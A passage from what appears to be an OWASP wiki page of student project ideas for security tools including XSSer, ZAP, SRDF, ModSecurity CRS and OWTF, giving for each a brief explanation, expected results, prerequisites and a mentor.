Below is shown a structure of phases and milestones code areas.&lt;br /&gt;
&lt;br /&gt;
Milestones:&lt;br /&gt;
    • Phase 1: Core:&lt;br /&gt;
        + Bugfixing:&lt;br /&gt;
             - False positives&lt;br /&gt;
             - Fix “swarm” results&lt;br /&gt;
             - Fix 'maximize' screen (bug reported)&lt;br /&gt;
             - Add auto-update revision&lt;br /&gt;
             - Fix multithreading (review)&lt;br /&gt;
             - Research 'glibc' corruption&lt;br /&gt;
&lt;br /&gt;
        + Add crawlering for POST+GET (auto test 'whole' page forms)&lt;br /&gt;
        + Update XSS payloads (vectors.py / DOM.py / DCP.py / etc...)&lt;br /&gt;
        + Advance Statistics results (show more detailed outputs)&lt;br /&gt;
        + Advance Exporting methods (create 'whitehat' reports (xml/json))&lt;br /&gt;
        + Advance “WebSockets” technology on XSSer 'fortune' option&lt;br /&gt;
        + Update Interface (GTK+)&lt;br /&gt;
&lt;br /&gt;
    • Phase 2: New features:&lt;br /&gt;
        + Add 'code pre-check' option: Users can set which code will return target's website, to try to evade false positive results.&lt;br /&gt;
        + Add 'CSSer' option: Payloads for CSS injections.&lt;br /&gt;
        + Research/Search anti-IDS/NIDS/IPS... codes to evade XSS filters.&lt;br /&gt;
        + BurpXSSer: Create a Burp plugin (with Jython libs)&lt;br /&gt;
        + ZAPXSSer: Create a ZAP plugin (with Jython libs)&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* To deploy a new stable version of XSSer with GTk+/Web/Shell main features working propertly,&lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
XSSer is written in Python, so a good knowledge of this language is recommended, as is knowledge of HTML and Javascript. Also, is necessary to have some knowledge of application security and more in concret about XSS techniques.&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Medium&lt;br /&gt;
&lt;br /&gt;
'''Mentor: epsylon (psy) - OWASP XSSer Project Leader'''&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: Dynamically Configurable actions===&lt;br /&gt;
&lt;br /&gt;
ZAP provides various mechanisms which allow HTTP requests and responses to be changed dynamically. So (for example) a string in an HTTP request can automatically be changed to another string.&lt;br /&gt;
&lt;br /&gt;
It also supports a scripting interface, which is very powerful but at the moment difficult to use.&lt;br /&gt;
&lt;br /&gt;
This project would introduce something inbetween thess 2 options - a powerful way of defining (potentially) complex rules using a wizard based interface.&lt;br /&gt;
&lt;br /&gt;
The challenge will be to make it as usable as possible while still providing a wide range of functionality.&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This component would provide a set of highly configurable 'actions' which the user would see up via a wizard.&lt;br /&gt;
&lt;br /&gt;
So they would initially define when the action applies, based on things like regex matching on request elements. And they should be able to define multiple criteria with ANDs and ORs.&lt;br /&gt;
&lt;br /&gt;
Then they would define the actions, which could include:&lt;br /&gt;
&lt;br /&gt;
* Changing the request (adding, removing or replacing strings)&lt;br /&gt;
* Raising alerts&lt;br /&gt;
* Breaking (to replace existing break points)&lt;br /&gt;
* Running custom scripts (which could do pretty much anything) &lt;br /&gt;
&lt;br /&gt;
They would then be able to switch the actions on and off from the full list of defined actions using checkboxes&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* A new ZAP add-on providing the above functionality&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Simon Bennetts - OWASP ZAP Project Leader'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: Enhanced HTTP Session Handling===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
ZAP can currently manage multiple sessions. This development would allow ZAP to better handle HTTP Sessions to provide different views of a given target depending on the different user's permissions that the targeted site supports.&lt;br /&gt;
&lt;br /&gt;
This implementation such provide a set of methods to answer questions such as: 1)What nodes(pages) are available to a group of users and not to other groups of users 2)What nodes are available to different users but these contain significant differences in the HTTP headers and/or in the body content.&lt;br /&gt;
&lt;br /&gt;
This will allow ZAP to be used to detect access control issues which would otherwise require manual testing.&lt;br /&gt;
Expected results:&lt;br /&gt;
&lt;br /&gt;
* ZAP will have an understanding of both users and roles and be able to associate them with HTTP sessions.&lt;br /&gt;
* The user will be able to associate credentials with different roles allowing ZAP to automatically authenticate as any user / role.&lt;br /&gt;
* ZAP will be able to spider an application using a given user/role.&lt;br /&gt;
* ZAP will be able to report the differences between different HTTP sessions.&lt;br /&gt;
* ZAP will be able to show different views of the site in the site's tree tab with the pages visible for each session.&lt;br /&gt;
* ZAP will be able to attack one session based on the URLs accessed in another session and report which appear to work. &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
Users will be able to:&lt;br /&gt;
* specify exactly which alerts are included, by context, site or on an individual alert basis&lt;br /&gt;
* specify what information is included and how it is layed out&lt;br /&gt;
* specify a range of output formats, at least including HTML and PDF&lt;br /&gt;
* include details of what testing has been performed (automatically generated where possible)&lt;br /&gt;
* apply their own branding&lt;br /&gt;
* save report templates, and apply templates downloaded from the ZAP marketplace &lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML and the HTTP protocol specification. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Guifre Ruiz - OWASP ZAP Dev Team'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: Exploring Advanced reporting using BIRT===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
BIRT (Business Intelligence and Reporting Tools) is an open source development framework used for report development. The objective of the project is to explore the development of advance reports in OWASP ZAP using the BIRT Report Designer, which is a an Eclipse plug-in that utilizes BIRT technologies.&lt;br /&gt;
&lt;br /&gt;
Reports can be designed using the BIRT Report Designer; however a complete integration within OWASP ZAP is the ideal solution. This can be achieve integrating BIRT with OWASP ZAP since  the reporting application does not require the BIRT Report Designer user interface to generate a report.&lt;br /&gt;
The org.eclipse.birt.report.engine.api package contains the classes and interfaces that an application uses to generate reports. The main classes and interfaces are ReportEngine, EngineConfig, IReportRunnable, IRenderOption and its descendants, and IEngineTask and its descendants.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
*Installed and Configured BIRT Environment into the Eclipse OWASP ZAP project ( this can be delivered as an independent project)&lt;br /&gt;
*Analysis report of the pros-and cons of using BIRT within OWASP ZAP as reporting tool&lt;br /&gt;
*Be able to Generate reports from the application using the BIRT report engine API.&lt;br /&gt;
*Creation of prototype reports regarding the results output of the Sessions &amp;amp; attacks such as: Alerts, History, Search etc.&lt;br /&gt;
*A new user interface for generating reports which is easy to use and provides the user with a wide range of options.&lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Johanna Curiel'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP - SAML 2.0 Support===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
SAML 2.0 is an XML-based federated single sign-on (FSSO) protocol that uses security tokens containing assertions to pass information about a principal (usually an end user) between a SAML authority, that is an identity provider, and a SAML consumer, that is a service provider. SAML 2.0 enables web-based authentication and authorization scenarios including cross-domain single sign-on (SSO). SAML specifications support many ways, called profiles and bindings, to generate and transport assertions between trusted entities The Web Browser SSO profile is of particular interest here since it enables web applications from 2 separate domains to leverage SSO easily by exchanging assertions via a web browser session.&lt;br /&gt;
&lt;br /&gt;
ZAP provides various mechanisms which allow HTTP requests and responses to be changed dynamically. This project will enhance those capabilities to be able to detect and fuzz various elements and attributes of a SAML Assertion.&lt;br /&gt;
&lt;br /&gt;
The scope of this project is limited to the following SAML bindings, profiles and protocols:&lt;br /&gt;
&lt;br /&gt;
Profiles :&lt;br /&gt;
* Web Browser SSO &lt;br /&gt;
&lt;br /&gt;
Bindings:&lt;br /&gt;
* HTTP POST&lt;br /&gt;
* HTTP Redirect &lt;br /&gt;
&lt;br /&gt;
Protocols:&lt;br /&gt;
* Authentication Request Protocol &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This component would enable ZAP to:&lt;br /&gt;
* Detect SAML Assertions in HTTP requests and responses&lt;br /&gt;
* Decode SAML Assertions&lt;br /&gt;
* Fuzz various entities and attributes within a SAML assertion&lt;br /&gt;
* Re-encode the assertion and send it forward &lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
Users would have a choice either to fuzz the attributes within an assertion or just add/remove arbitrary attribute (to check for XML and SAML Schema Conformance).&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML and SAML 2.0 Protocol. Some knowledge of application security would be useful, but not essential. Understanding of SSO and Federated SSO is preferred.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Prasad N. Shenoy'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: SOCKS support===&lt;br /&gt;
&lt;br /&gt;
This project is to extend ZAP to act as an intercepting proxy for SOCKS 4 and 5.&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Suggested phases include:&lt;br /&gt;
&lt;br /&gt;
* Identifying suitable Java SOCKS libraries&lt;br /&gt;
* Evaluating the SOCKS support other security tools provide (eg Mallory and Burp)&lt;br /&gt;
* Enhance ZAP to provide an option to use SOCKS for all outgoing connections&lt;br /&gt;
* Enhance ZAP to act as invisible SOCKS proxy&lt;br /&gt;
* Display the SOCKS data in ZAP&lt;br /&gt;
* Support searching of SOCKS data&lt;br /&gt;
* Support breaking and changing the data manually&lt;br /&gt;
* Support fuzzing SOCKS data&lt;br /&gt;
* Support SOCKS authentication &lt;br /&gt;
&lt;br /&gt;
The ZAP WebSockets addon should be used as an indication of how this could be achieved both technically and visually, but should not limit the implementation.&lt;br /&gt;
&lt;br /&gt;
Each phase should be tested against 3rd party tools which use SOCKS and include stand alone unit tests. &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
ZAP will be able to act as a SOCKS proxy, displaying the data sent and allowing it to be intercepted and changed. &lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Simon Bennetts - OWASP ZAP Project Leader'''&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: CMS Scanner ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
A Content Management System (CMS) is a computer program that allows publishing, editing and modifying content as well as maintenance from a central interface. Such systems of content management provide procedures to manage workflow in a collaborative environment. These procedures can be manual steps or an automated cascade.&lt;br /&gt;
&lt;br /&gt;
The first content management system (CMS) was announced at the end of the 1990s. This CMS was designed to simplify the complex task of writing numerous versions of code and to make the website development process more flexible. CMS platforms allow users to centralize data editing, publishing and modification on a single back-end interface. CMS platforms are often used as blog software.&lt;br /&gt;
in this project we are going to build a ZAP extension for CMS scanning (with enhanced search methdes)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
A ZAP add-on to help the user in the process of identifying vulnerabilities in his CMS with a :&lt;br /&gt;
* version Fingerprinting&lt;br /&gt;
* Detecting Protection Measures Deployed by the site and there Vulns. (Firewalls ...) &lt;br /&gt;
* Numeration of the version of the CMS&lt;br /&gt;
* Numeration of Plugins and Components in the CMS&lt;br /&gt;
* Enumerating different Vulns. in the core, plugins or templates    &lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Mennouchi Islam Azeddine'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP Security Research and Development Framework ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This is a free open source Development Framework created to support writing security tools and malware analysis tools. And to convert the security researches and ideas from the theoretical approach to the practical implementation. &lt;br /&gt;
&lt;br /&gt;
This development framework created mainly to support the malware field to create malware analysis tools and anti-virus tools easily without reinventing the wheel and inspire the innovative minds to write their researches on this field and implement them using SRDF. &lt;br /&gt;
&lt;br /&gt;
'''Targeted Applications:'''&lt;br /&gt;
&lt;br /&gt;
* Packet Analysis Tools (Personal Firewalls, HIDS/HIPS, WAF, Network Analysis, Network Capture)&lt;br /&gt;
* Malware Analysis Tools (Static, Dynamic, Behavioral)&lt;br /&gt;
* Antivirus and Virus Removal Tools (Signature-based, Behavioral-based)&lt;br /&gt;
&lt;br /&gt;
'''Features:'''&lt;br /&gt;
&lt;br /&gt;
The User Mode Features: &lt;br /&gt;
&lt;br /&gt;
* Assembler and Disassembler &lt;br /&gt;
* x86 Emulator &lt;br /&gt;
* Debugger &lt;br /&gt;
* PE Analyzer &lt;br /&gt;
* Process Analyzer (Loaded DLLs, Memory Maps … etc) &lt;br /&gt;
* MD5, SSDeep and Wildlist Scanner (YARA) &lt;br /&gt;
* API Hooker and Process Injection &lt;br /&gt;
* Backend Database, XML Serializer &lt;br /&gt;
* Packet Analysis Tool and Session Separation&lt;br /&gt;
* Protocol Analyzers for TCP,UDP,ICMP,ARP and Application Layer like HTTP and DNS&lt;br /&gt;
* and many more&lt;br /&gt;
&lt;br /&gt;
The Kernel Mode Features:&lt;br /&gt;
 &lt;br /&gt;
* Object-oriented and easy to use development framework &lt;br /&gt;
* Easy IRP dispatching mechanism &lt;br /&gt;
* SSDT Hooker &lt;br /&gt;
* Layered Devices Filtering &lt;br /&gt;
* TDI Firewall &lt;br /&gt;
* File and Registry Manager &lt;br /&gt;
* Kernel Mode easy to use internet sockets &lt;br /&gt;
* Filesystem Filter &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Future Plan'''&lt;br /&gt;
 &lt;br /&gt;
we need to do the following:&lt;br /&gt;
&lt;br /&gt;
*  WOW64 Hooker (Hooking system calls on wow64 processes .. it will be like an API hooker in a wrapper dll inside the wow64 processes)&lt;br /&gt;
*  Improve our Kernel-Mode part to work on 64-bits and to implement NDIS, Kernel Sockets and Packet Filtering System (as we support TDI only and it's out-date)&lt;br /&gt;
*  We need to implement SRDF in linux ... implement the file parsers and the packet analysis is easy .. but we need to implement memory analysis on linux and so on &lt;br /&gt;
*  We need to improve the static analysis tools .. we need to implement the X-RAY and Recursive Disassembler Tool&lt;br /&gt;
*  we need to improve our dynamic analysis tools ... we need to support more APIs in Pokas Emulator and need more beta-testing&lt;br /&gt;
*  we need to create a tool that do emulation and debugging (we have a debugger in SRDF) for beta-testing&lt;br /&gt;
*  we need to improve the Behavioral Analysis Tools ... if you have ideas in behavioral analysis that's will be great&lt;br /&gt;
*  we need to implement more file formats like swf and rtf&lt;br /&gt;
*  we need to implement srdf in python using SWIG&lt;br /&gt;
*  we need more improvement on memory usage and detecting memory-leaks&lt;br /&gt;
*  we need to implement OpenSBI virus classification file format&lt;br /&gt;
*  we need to collect static unpacking codes (static means no debugger, no breakpoints, no kernel-mode and no emulator . just decrypt using equations) for known unpackers like upx, fsg and so on. as a library for developers&lt;br /&gt;
*  we need to implement zip library to decompress and rar library for the same&lt;br /&gt;
*  we need a Process Analyzer for 64 applications .. and could it be done by a wow64 process?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
We need variety of skills in different languages and platforms. We need a good knowledge in C++ in windows. We need a python developer for integrating SRDF in python. We need C++ developers have a good knowledge in Assembly (for working in disassembling part) and we need C++ developers have a knowledge in Kernel-Mode(for Kernel-Mode improvement and beta-testing)&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Amr Thabet - OWASP Security Research and Development Framework Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create &amp;quot;Sniffer-Mode&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' &lt;br /&gt;
&lt;br /&gt;
The ModSecurity code includes a &amp;quot;standalone&amp;quot; version that wraps a light weight Apache/APR around the ModSecurity code.  This is used as the basis for the ports to the IIS/Nginx web server platforms.  The goal for this project task is to extend this standalone version so that it can accept a data feed of network traffic (e.g. libpcap) data as input and apply the ModSecurity CRS rules.  One possible solution would be create a ModSecurity &amp;quot;plugin&amp;quot; for the Snort IDS.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This new sniffer mode would allow organizations to run ModSecurity/OWASP ModSecurity CRS in an out of line mode as they do IDS systems.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Port to Java ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' &lt;br /&gt;
&lt;br /&gt;
The goal is to have a ModSecurity version that can be used within Java servers (e.g. Tomcat).  There may be methods to use JNI to call the standalone code from a filter in Tomcat.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This new version allow organizations to run ModSecurity/OWASP ModSecurity CRS in Java web servers.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Implement libinjection Code ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-327&lt;br /&gt;
&lt;br /&gt;
libinjection (https://github.com/client9/libinjection) is a C library that detects SQLi attacks in user input. It is designed to be embedded in existing or new applications:&lt;br /&gt;
&lt;br /&gt;
*Fast &amp;gt; 100k inspections per second&lt;br /&gt;
*No memory allocation&lt;br /&gt;
*No threads&lt;br /&gt;
*Stable memory usage (approximately 500 bytes on stack)&lt;br /&gt;
*500 lines of C code (plus a few kiobytes of data)&lt;br /&gt;
&lt;br /&gt;
It is based on lexical analysis of SQL and SQLi attempts and does not use regular expressions.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new C code in ModSecurity will allow us to add new SQL Injection detection methods to the OWASP ModSecurity CRS.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Implement DoS Prevention Code ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-265&lt;br /&gt;
&lt;br /&gt;
Implement a request velocity learning engine to identify dynamic DoS thresholds for both the site and for the particular URL.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new C code in ModSecurity will allow us to add new DoS Protection methods to the OWASP ModSecurity CRS.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create a Positive Learning/Profile Engine ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-193&lt;br /&gt;
&lt;br /&gt;
ModSecurity needs a profiling engine that implements the various AppSensor Detection Points - http://blog.spiderlabs.com/2011/08/implementing-appsensor-detection-points-in-modsecurity.html.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new engine will implement more detection points to detect abnormal request attributes.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create an Engine to Detect Application Flow Anomalies ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Need an engine that can track normal application flow paths (click-flows) for business logic transactions - such as transferring money from accounts.  After profiling normal application path flows, we want to then be able to alert to anomalies.  This type of logic can help to prevent Banking Trojan attacks.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The engine will be able to alert on anomalous application flows.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Breno Silva and Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Stateful Browser with configurable authentication ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
The automated functionality of OWASP OWTF is currently limited to the non-authenticated portion of a website. We would like to implement authentication support through:&lt;br /&gt;
&lt;br /&gt;
1) OWTF parameters&lt;br /&gt;
&lt;br /&gt;
2) Configuration files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What we would like to do here is to leverage the [http://wwwsearch.sourceforge.net/mechanize/ powerful mechanize python library] and build at least support for the following authentication options:&lt;br /&gt;
* Basic authentication - As requested here: [https://github.com/7a/owtf/issues/9 https://github.com/7a/owtf/issues/9]. .&lt;br /&gt;
* Cookie based authentication&lt;br /&gt;
* Form-based authentication&lt;br /&gt;
&lt;br /&gt;
Additionally, we would welcome here a feature to detect when the user has been logged off, to log OWTF back in again before retrying the next request. &amp;lt;-- The proxy is probably a better place to implement this since external tools would also benefit from this. This feature will have to be coordinated with the MiTM proxy project below.&lt;br /&gt;
&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* High performance&lt;br /&gt;
* Reliability&lt;br /&gt;
* Ease of use&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with the mechanize library or HTTP state is very welcome but not strictly necessary, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Inbound Proxy with MiTM and caching capabilities ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
At the moment one of the most seriously lacking features of OWASP OWTF is the Inbound proxy. Desired features here include:&lt;br /&gt;
* Proxy mode: Ability to start OWTF in &amp;quot;proxy mode&amp;quot; so that a human can review a site manually while taking advantage of all the OWTF grep plugins, without launching any tools.&lt;br /&gt;
* Proxy cache: At present, OWTF runs external tools to save time to a human pentester, the proxy cache would make OWTF smart enough to make external tools use the OWTF proxy and then avoid sending identical requests to the site (i.e. if 30 tools run by OWTF try to request X, OWTF will only make 1 request and not 30 anymore). OWTF should also be smart enough to use its own cache obviously :). The cache should be smart enough to detect lack of disk space and crashing :).&lt;br /&gt;
* Proxy throttling: We would like the proxy to auto-adjust speed to the speed of the target (i.e. based on how slower response times are getting) in a configurable fashion&lt;br /&gt;
* Proxy retry: We would like to have the ability to retry failed requests in an automated fashion for a configurable number of times &lt;br /&gt;
* Proxy MiTM: Proxy Man in The Middle capabilities are a must on any web app security tool. We need the ability to create a fake certificate on the fly to intercept and be able to analyse communications going to and from an &amp;quot;https&amp;quot; site.&lt;br /&gt;
* HTTP Transaction storage: The whole point here is of course, to store the HTTP transactions in the same way &lt;br /&gt;
&lt;br /&gt;
Potential python libraries and references that could help here are: &lt;br /&gt;
* http://twistedmatrix.com/documents/10.0.0/api/twisted.web.proxy.Proxy.html&lt;br /&gt;
* https://github.com/moxie0/sslstrip&lt;br /&gt;
* https://github.com/7a/owtf/tree/master/framework/http &amp;lt;-- Current WIP OWTF state in this regard&lt;br /&gt;
&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Additional Information and Suggestions (based on student questions):'''&lt;br /&gt;
* &amp;quot;Inbound&amp;quot; is used here to differenciate from the existing outbound proxy functionality in OWTF (-x switch), in practice, the &amp;quot;inbound&amp;quot; proxy will have to refactor/reimplement the &amp;quot;outbound&amp;quot; proxy functionality: Therefore this is both inbound and outbound obviously.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Increased overall performance: We should only be sending each probe once ever if several tools try to send the same HTTP request multiple times.&lt;br /&gt;
* Additional HTTP transactions logged for analysis&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, previous exposure to Twisted Proxy or other python HTTP proxies will be very welcome here, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Reporting ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
A common complaint about OWASP OWTF so far has been that the report is not very shiny. The intention here is to:&lt;br /&gt;
* Move as much of the HTML away from python files into template files: This will facilitate web designer's work in the future.&lt;br /&gt;
* Apply some nice web design to the report so that it is more nice and comfortable to work with: Clear the HTML, CSS, etc&lt;br /&gt;
* Identify and fix areas of improvement in click flow: For example, try to reduce the distance to move the mouse (mouse is sweeping left to right all the time now to rank vulnerabilities and then click on the next plugin)&lt;br /&gt;
* Improve the interactive report load time: The report will be pretty big when you scan 30+ websites, we might have to change things so that each plugin is retrieved via AJAX instead of loading every iframe on load&lt;br /&gt;
